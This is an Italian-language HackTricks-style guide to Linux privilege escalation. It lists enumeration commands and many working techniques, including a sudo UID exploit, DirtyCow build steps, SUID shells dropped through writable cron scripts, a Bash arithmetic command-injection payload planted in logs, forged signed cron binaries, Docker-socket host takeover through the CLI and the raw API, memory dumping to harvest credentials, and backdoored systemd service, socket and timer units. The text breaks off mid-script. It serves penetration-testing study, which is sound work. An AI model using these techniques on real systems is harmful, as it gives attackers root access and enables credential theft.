Linux Privilege Escalation

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni sul sistema

Informazioni OS

Iniziamo a raccogliere informazioni sul sistema operativo in esecuzione

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Path

Se hai permessi di scrittura su qualsiasi cartella all’interno della variabile PATH potresti essere in grado di dirottare alcune librerie o binari:

echo $PATH

Info ambiente

Informazioni interessanti, password o chiavi API nelle variabili d’ambiente?

(env || set) 2>/dev/null

Kernel exploits

Controlla la versione del kernel e verifica se esiste qualche exploit che possa essere usato per escalate privileges

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Puoi trovare una buona lista di kernel vulnerabili e alcuni compiled exploits già pronti qui: https://github.com/lucyoa/kernel-exploits and exploitdb sploits.
Altri siti dove puoi trovare alcuni compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Per estrarre tutte le versioni del kernel vulnerabili da quel sito puoi fare:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Strumenti che possono aiutare a cercare kernel exploits sono:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (execute IN victim,only checks exploits for kernel 2.x)

Cerca SEMPRE la versione del kernel su Google, forse la versione del tuo kernel è scritta in qualche kernel exploit e in questo modo sarai sicuro che quell’exploit sia valido.

Ulteriori tecniche di kernel exploitation:

Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass

CVE-2016-5195 (DirtyCow)

Escalation di privilegi Linux - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Versione di sudo

In base alle versioni vulnerabili di sudo che compaiono in:

searchsploit sudo

Puoi verificare se la versione di sudo è vulnerabile usando questo grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

Sudo < 1.9.17p1

Le versioni di sudo precedenti a 1.9.17p1 (1.9.14 - 1.9.17 < 1.9.17p1) consentono ad utenti locali non privilegiati di elevare i propri privilegi a root tramite l’opzione sudo --chroot quando il file /etc/nsswitch.conf viene usato da una directory controllata dall’utente.

Ecco una PoC per sfruttare quella vulnerability. Prima di eseguire l’exploit, assicurati che la tua versione di sudo sia vulnerabile e che supporti la funzionalità chroot.

Per maggiori informazioni, fai riferimento al vulnerability advisory

sudo < v1.8.28

Da @sickrov

sudo -u#-1 /bin/bash

Dmesg verifica della firma fallita

Consulta smasher2 box of HTB per un esempio di come questa vuln potrebbe essere sfruttata

dmesg 2>/dev/null | grep "signature"

Ulteriore enumerazione del sistema

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Enumerare le possibili difese

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

Se sei all’interno di un docker container puoi provare a effettuare un escape:

Docker Security

Unità

Controlla what is mounted and unmounted, dove e perché. Se qualcosa è unmounted puoi provare a mount it e verificare la presenza di informazioni private

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Software utili

Elencare i binari utili

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Verifica anche se è installato un compiler. Questo è utile se devi utilizzare qualche kernel exploit, poiché è consigliabile compilarlo sulla macchina in cui lo userai (o su una simile).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Software vulnerabile installato

Controlla la versione dei pacchetti e dei servizi installati. Forse c’è qualche vecchia versione di Nagios (per esempio) che potrebbe essere sfruttata per escalating privileges…
Si raccomanda di verificare manualmente la versione del software installato più sospetto.

dpkg -l #Debian
rpm -qa #Centos

Se hai accesso SSH alla macchina puoi anche usare openVAS per verificare la presenza di software obsoleto e vulnerabile installato sulla macchina.

[!NOTE] > Nota che questi comandi mostreranno molte informazioni che saranno per lo più inutili, pertanto è consigliabile utilizzare applicazioni come OpenVAS o simili che verifichino se qualche versione del software installato sia vulnerabile a exploit noti

Processi

Dai un’occhiata a quali processi vengono eseguiti e verifica se qualche processo ha più privilegi di quanto dovrebbe (magari un tomcat eseguito da root?)

ps aux
ps -ef
top -n 1

Controlla sempre la presenza di eventuali electron/cef/chromium debuggers in esecuzione, potresti abusarne per escalare privilegi. Linpeas li rileva controllando il parametro --inspect nella linea di comando del processo.
Controlla anche i tuoi privilegi sui binari dei processi, magari puoi sovrascrivere qualche binario.

Process monitoring

Puoi usare strumenti come pspy per monitorare i processi. Questo può essere molto utile per identificare processi vulnerabili eseguiti frequentemente o quando si soddisfano determinate condizioni.

Process memory

Alcuni servizi di un server salvano le credenziali in chiaro nella memoria.
Normalmente serviranno i privilegi root per leggere la memoria dei processi appartenenti ad altri utenti, quindi questo è solitamente più utile quando sei già root e vuoi scoprire altre credenziali.
Tuttavia, ricorda che come utente normale puoi leggere la memoria dei processi che possiedi.

Warning

Nota che al giorno d’oggi la maggior parte delle macchine non permette ptrace di default, il che significa che non puoi dumpare altri processi che appartengono a un utente non privilegiato.

Il file /proc/sys/kernel/yama/ptrace_scope controlla l’accessibilità di ptrace:

  • kernel.yama.ptrace_scope = 0: tutti i processi possono essere sottoposti a debug, purché abbiano lo stesso uid. Questo è il modo classico in cui funzionava il ptracing.
  • kernel.yama.ptrace_scope = 1: solo un processo padre può essere sottoposto a debug.
  • kernel.yama.ptrace_scope = 2: Solo l’amministratore può usare ptrace, in quanto richiede la capability CAP_SYS_PTRACE.
  • kernel.yama.ptrace_scope = 3: Nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per abilitare nuovamente il ptracing.

GDB

Se hai accesso alla memoria di un servizio FTP (per esempio) potresti ottenere l’Heap e cercare al suo interno le credenziali.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

Script GDB

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Per un dato PID, maps mostra come la memoria è mappata nello spazio di indirizzamento virtuale del processo; mostra anche i permessi di ogni regione mappata. Il file pseudo mem espone la memoria stessa del processo. Dal file maps sappiamo quali regioni di memoria sono leggibili e i loro offset. Usiamo queste informazioni per seek nel file mem e dumpare tutte le regioni leggibili in un file.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem fornisce accesso alla memoria del sistema fisica, non alla memoria virtuale. Lo spazio degli indirizzi virtuali del kernel è accessibile usando /dev/kmem.
Tipicamente, /dev/mem è leggibile solo da root e dal gruppo kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump per linux

ProcDump è una reimmaginazione per Linux del classico strumento ProcDump della suite Sysinternals per Windows. Scaricalo da https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Tools

Per dumpare la memoria di un processo puoi usare:

Credenziali dalla memoria del processo

Esempio manuale

Se trovi che il processo authenticator è in esecuzione:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Puoi eseguire il dump del processo (vedi le sezioni precedenti per trovare diversi modi per eseguire il dump della memoria di un processo) e cercare le credenziali all’interno della memoria:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Lo strumento https://github.com/huntergregal/mimipenguin ruba credenziali in chiaro dalla memoria e da alcuni file ben noti. Richiede privilegi di root per funzionare correttamente.

FunzionalitàNome processo
GDM password (Kali Desktop, Debian Desktop)gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)gnome-keyring-daemon
LightDM (Ubuntu Desktop)lightdm
VSFTPd (Active FTP Connections)vsftpd
Apache2 (Active HTTP Basic Auth Sessions)apache2
OpenSSH (Active SSH Sessions - Sudo Usage)sshd:

Regex di ricerca/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Schedulati/Cron jobs

Crontab UI (alseambusher) in esecuzione come root – privesc tramite web-based scheduler

Se un pannello web “Crontab UI” (alseambusher/crontab-ui) gira come root ed è legato solo al loopback, puoi comunque raggiungerlo tramite SSH local port-forwarding e creare un job privilegiato per escalare.

Typical chain

  • Individuare una porta accessibile solo da loopback (es., 127.0.0.1:8000) e il realm Basic-Auth tramite ss -ntlp / curl -v localhost:8000
  • Trovare credenziali in artefatti operativi:
  • Backup/script con zip -P <password>
  • Unità systemd che espone Environment="BASIC_AUTH_USER=...", Environment="BASIC_AUTH_PWD=..."
  • Tunnel e login:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
  • Crea un high-priv job ed eseguilo immediatamente (rilascia una shell SUID):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
  • Usalo:
/tmp/rootshell -p   # root shell

Hardening

  • Non eseguire Crontab UI come root; limitarlo a un utente dedicato con permessi minimi
  • Bind a localhost e limitare ulteriormente l’accesso tramite firewall/VPN; non riutilizzare password
  • Evitare di incorporare secrets in unit files; usare secret stores o EnvironmentFile accessibile solo da root
  • Abilitare audit/logging per le esecuzioni di job on-demand

Verificare se qualche scheduled job è vulnerabile. Forse puoi sfruttare uno script eseguito da root (wildcard vuln? puoi modificare file che root usa? usare symlinks? creare file specifici nella directory che root usa?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Percorso Cron

Per esempio, all’interno di /etc/crontab puoi trovare il PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Nota come l’utente “user” abbia privilegi di scrittura su /home/user)

Se all’interno di questo crontab l’utente root prova a eseguire un comando o uno script senza impostare il PATH. Per esempio: * * * * root overwrite.sh
Quindi puoi ottenere una shell root usando:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron che esegue uno script con un wildcard (Wildcard Injection)

Se uno script eseguito da root ha una “*” all’interno di un comando, puoi sfruttarlo per fare cose inaspettate (come privesc). Esempio:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Se il wildcard è preceduto da un percorso come /some/path/* , non è vulnerabile (anche ./* non lo è).

Leggi la pagina seguente per più trucchi di exploitation con wildcard:

Wildcards Spare tricks

Bash arithmetic expansion injection in cron log parsers

Bash esegue parameter expansion e command substitution prima dell’arithmetic evaluation in ((…)), $((…)) e let. Se un cron/parser eseguito come root legge campi di log non attendibili e li passa in un contesto aritmetico, un attaccante può iniettare una command substitution $(…) che viene eseguita come root quando il cron viene eseguito.

  • Perché funziona: In Bash, le espansioni avvengono in quest’ordine: parameter/variable expansion, command substitution, arithmetic expansion, poi word splitting e pathname expansion. Quindi un valore come $(/bin/bash -c 'id > /tmp/pwn')0 viene prima sostituito (eseguendo il comando), poi il restante numerico 0 viene usato per l’aritmetica così lo script continua senza errori.

  • Typical vulnerable pattern:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log
  • Exploitation: fai in modo che testo controllato dall’attaccante venga scritto nel log parsato in modo che il campo che sembra numerico contenga una command substitution e finisca con una cifra. Assicurati che il tuo comando non scriva su stdout (o ridirigilo) così l’aritmetica rimane valida.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

Se puoi modificare uno cron script eseguito da root, puoi ottenere facilmente una shell:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Se lo script eseguito da root utilizza una directory a cui hai pieno accesso, potrebbe essere utile eliminare quella cartella e creare una cartella symlink verso un’altra che punti a uno script controllato da te

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Binari cron firmati personalizzati con payload scrivibili

Blue teams a volte “sign” binari eseguiti da cron estraendo una sezione ELF personalizzata e facendo grep per una stringa del vendor prima di eseguirli come root. Se quel binario è scrivibile dal gruppo (es., /opt/AV/periodic-checks/monitor di proprietà di root:devs 770) e puoi leak the signing material, puoi forgiare la sezione e dirottare il task cron:

  1. Usa pspy per catturare il flusso di verifica. In Era, root eseguiva objcopy --dump-section .text_sig=text_sig_section.bin monitor seguito da grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin e poi eseguiva il file.
  2. Ricrea il certificato atteso usando il leaked key/config (da signing.zip):
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
  1. Costruisci un replacement malevolo (e.g., drop a SUID bash, add your SSH key) e incorpora il certificato in .text_sig così il grep passa:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
  1. Sovrascrivi il binario schedulato preservando i bit di esecuzione:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
  1. Aspetta la prossima esecuzione cron; una volta che il controllo della firma naive ha successo, il tuo payload verrà eseguito come root.

Frequent cron jobs

Puoi monitorare i processi per cercare quelli eseguiti ogni 1, 2 o 5 minuti. Potresti sfruttarlo per privilege escalation.

Per esempio, per monitorare ogni 0.1s durante 1 minuto, ordinare per comandi meno eseguiti e cancellare i comandi che sono stati eseguiti di più, puoi fare:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Puoi anche usare pspy (questo monitorerà e elencherà ogni processo che viene avviato).

Cron job invisibili

È possibile creare un cronjob inserendo un ritorno a capo (carriage return) dopo un commento (senza il carattere di nuova linea), e il cron job funzionerà. Esempio (nota il carattere carriage return):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Services

File .service scrivibili

Verifica se puoi scrivere un qualsiasi file .service; se puoi, potresti modificarlo in modo che esegua la tua backdoor quando il servizio viene avviato, riavviato o arrestato (potrebbe essere necessario aspettare che la macchina venga riavviata).
Ad esempio crea la tua backdoor all’interno del file .service con ExecStart=/tmp/script.sh

Binaries di servizio scrivibili

Tieni presente che se hai permessi di scrittura sui binaries eseguiti dai servizi, puoi modificarli per inserire backdoor in modo che, quando i servizi verranno rieseguiti, verranno eseguite le backdoor.

systemd PATH - Percorsi relativi

Puoi vedere il PATH usato da systemd con:

systemctl show-environment

Se scopri che puoi scrivere in una qualsiasi delle cartelle del percorso potresti essere in grado di escalate privileges. Devi cercare percorsi relativi usati nei file di configurazione dei servizi come:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Poi, crea un eseguibile con lo stesso nome del binario relativo all’interno della cartella del PATH di systemd su cui puoi scrivere, e quando al servizio viene richiesto di eseguire l’azione vulnerabile (Start, Stop, Reload), il tuo backdoor verrà eseguito (gli utenti non privilegiati di solito non possono avviare/fermare i servizi, ma verifica se puoi usare sudo -l).

Per saperne di più sui servizi consulta man systemd.service.

Timers

Timers sono unit di systemd il cui nome termina con **.timer** che controllano file o eventi **.service**. I Timers possono essere usati come alternativa a cron poiché offrono supporto integrato per eventi su calendario e per eventi a tempo monotono e possono essere eseguiti in modo asincrono.

Puoi enumerare tutti i timers con:

systemctl list-timers --all

Timer scrivibili

Se puoi modificare un timer, puoi fargli eseguire alcune systemd.unit esistenti (come una .service o una .target)

Unit=backdoor.service

Nella documentazione puoi leggere cos’è l’unità:

L’unità da attivare quando questo timer scade. L’argomento è il nome di un’unità, il cui suffisso non è “.timer”. Se non specificato, questo valore di default corrisponde a un service che ha lo stesso nome dell’unità timer, eccetto il suffisso. (Vedi sopra.) Si raccomanda che il nome dell’unità che viene attivata e il nome dell’unità del timer siano identici, eccetto il suffisso.

Pertanto, per abusare di questo permesso dovresti:

  • Trovare qualche unità systemd (come una .service) che esegua un eseguibile scrivibile
  • Trovare qualche unità systemd che esegua un percorso relativo e sulla quale tu abbia privilegi di scrittura sul PATH di systemd (per fingersi quell’eseguibile)

Scopri di più sui timer con man systemd.timer.

Abilitare il timer

Per abilitare un timer sono necessari privilegi root ed eseguire:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Nota che il timer viene attivato creando un symlink verso di esso in /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Unix Domain Sockets (UDS) abilitano la comunicazione tra processi sulla stessa macchina o tra macchine diverse nei modelli client-server. Utilizzano normali file descrittori Unix per la comunicazione inter-processo e vengono configurati tramite file .socket.

I socket possono essere configurati usando file .socket.

Per saperne di più sui sockets usa man systemd.socket. All’interno di questo file è possibile configurare diversi parametri interessanti:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Queste opzioni sono diverse ma, in sintesi, servono per indicare dove verrà ascoltato il socket (il percorso del file socket AF_UNIX, l’indirizzo IPv4/6 e/o il numero di porta da ascoltare, ecc.)
  • Accept: Accetta un argomento booleano. Se true, viene avviata un’istanza di servizio per ogni connessione in ingresso e solo il socket della connessione le viene passato. Se false, tutti i socket in ascolto vengono passati all’unità di servizio avviata, e viene avviata una sola unità di servizio per tutte le connessioni. Questo valore è ignorato per i datagram socket e le FIFO dove una singola unità di servizio gestisce incondizionatamente tutto il traffico in ingresso. Default: false. Per motivi di performance, è consigliato scrivere nuovi daemon in modo compatibile con Accept=no.
  • ExecStartPre, ExecStartPost: Accettano una o più righe di comando, che vengono eseguite prima o dopo che i sockets/FIFO in ascolto siano rispettivamente creati e associati (bound). Il primo token della riga di comando deve essere un nome di file assoluto, seguito dagli argomenti per il processo.
  • ExecStopPre, ExecStopPost: Comandi aggiuntivi che vengono eseguiti prima o dopo che i sockets/FIFO in ascolto siano rispettivamente chiusi e rimossi.
  • Service: Specifica il nome dell’unità di service da attivare al verificarsi di traffico in ingresso. Questa impostazione è consentita solo per socket con Accept=no. Di default punta al servizio che ha lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi non dovrebbe essere necessario usare questa opzione.

File .socket scrivibili

Se trovi un file .socket scrivibile puoi aggiungere all’inizio della sezione [Socket] qualcosa come: ExecStartPre=/home/kali/sys/backdoor e il backdoor verrà eseguito prima che il socket venga creato. Perciò probabilmente dovrai attendere il riavvio della macchina.
Nota che il sistema deve effettivamente utilizzare quella configurazione del file socket oppure il backdoor non verrà eseguito

Socket scrivibili

Se identifichi un socket scrivibile (ora stiamo parlando di Unix Sockets e non dei file di config .socket), allora puoi comunicare con quel socket e magari sfruttare una vulnerabilità.

Enumerare Unix Sockets

netstat -a -p --unix

Connessione raw

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation example:

Socket Command Injection

HTTP sockets

Nota che potrebbero esserci sockets listening for HTTP che accettano richieste (non sto parlando dei file .socket ma dei file che funzionano come unix sockets). Puoi verificarlo con:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Se il socket risponde con una richiesta HTTP, allora puoi comunicare con esso e magari sfruttare qualche vulnerabilità.

Docker socket scrivibile

Il Docker socket, spesso trovato in /var/run/docker.sock, è un file critico che dovrebbe essere messo in sicurezza. Di default, è scrivibile dall’utente root e dai membri del gruppo docker. Possedere accesso in scrittura a questo socket può portare a privilege escalation. Ecco una panoramica di come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile.

Privilege Escalation with Docker CLI

Se hai accesso in scrittura al Docker socket, puoi ottenere privilege escalation usando i seguenti comandi:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Questi comandi ti permettono di eseguire un container con accesso root al file system dell’host.

Utilizzo diretto della Docker API

Nel caso in cui la Docker CLI non sia disponibile, il socket di Docker può comunque essere manipolato usando la Docker API e comandi curl.

  1. Elenca Docker Images: Recupera la lista delle immagini disponibili.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Crea un container: Invia una richiesta per creare un container che monta la directory root del sistema host.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Avvia il container appena creato:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Collegati al container: Usa socat per stabilire una connessione al container, consentendo l’esecuzione di comandi al suo interno.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Dopo aver stabilito la connessione con socat, puoi eseguire comandi direttamente nel container con accesso root al filesystem dell’host.

Altri

Nota che se hai permessi di scrittura sul docker socket perché sei all’interno del gruppo docker, hai more ways to escalate privileges. Se la docker API is listening in a port you can also be able to compromise it.

Consulta more ways to break out from docker or abuse it to escalate privileges in:

Docker Security

Containerd (ctr) privilege escalation

Se scopri di poter usare il comando ctr, leggi la pagina seguente in quanto you may be able to abuse it to escalate privileges:

Containerd (ctr) Privilege Escalation

RunC privilege escalation

Se scopri di poter usare il comando runc, leggi la pagina seguente in quanto you may be able to abuse it to escalate privileges:

RunC Privilege Escalation

D-Bus

D-Bus è un sofisticato sistema di comunicazione tra processi (Inter-Process Communication (IPC) system) che permette alle applicazioni di interagire e condividere dati in modo efficiente. Progettato con il moderno sistema Linux in mente, offre un framework robusto per diverse forme di comunicazione tra applicazioni.

Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, ricordando i enhanced UNIX domain sockets. Inoltre, aiuta nella broadcast di eventi o segnali, favorendo l’integrazione tra i componenti di sistema. Ad esempio, un segnale da un daemon Bluetooth riguardo a una chiamata in arrivo può indurre un lettore musicale a silenziare, migliorando l’esperienza utente. D-Bus supporta anche un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodi tra applicazioni, razionalizzando processi che tradizionalmente erano complessi.

D-Bus opera su un modello allow/deny, gestendo i permessi dei messaggi (chiamate di metodo, emissione di segnali, ecc.) basandosi sull’effetto cumulativo delle regole di policy corrispondenti. Queste policy specificano le interazioni con il bus, potenzialmente permettendo l’escalation dei privilegi tramite lo sfruttamento di tali permessi.

Viene fornito un esempio di tale policy in /etc/dbus-1/system.d/wpa_supplicant.conf, che dettaglia i permessi per l’utente root di possedere, inviare e ricevere messaggi da fi.w1.wpa_supplicant1.

Le policy senza un utente o gruppo specificato si applicano universalmente, mentre le policy con contesto “default” si applicano a tutti quelli non coperti da altre policy specifiche.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Scopri come enumerate e exploit una comunicazione D-Bus qui:

D-Bus Enumeration & Command Injection Privilege Escalation

Network

È sempre interessante enumerate the network e capire la posizione della macchina.

Generic enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Open ports

Controlla sempre i servizi di rete in esecuzione sulla macchina con cui non sei riuscito a interagire prima di accedervi:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Verifica se puoi sniff traffic. Se puoi, potresti essere in grado di ottenere alcune credenziali.

timeout 1 tcpdump

Utenti

Enumerazione generica

Controlla who sei, quali privileges hai, quali users sono nel sistema, quali possono login e quali hanno root privileges:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

Alcune versioni di Linux sono state affette da un bug che permette agli utenti con UID > INT_MAX di ottenere privilegi elevati. Maggiori informazioni: here, here e here.
Sfruttalo usando: systemd-run -t /bin/bash

Gruppi

Verifica se sei membro di qualche gruppo che potrebbe concederti privilegi di root:

Interesting Groups - Linux Privesc

Appunti

Controlla se qualcosa di interessante è presente negli appunti (se possibile)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
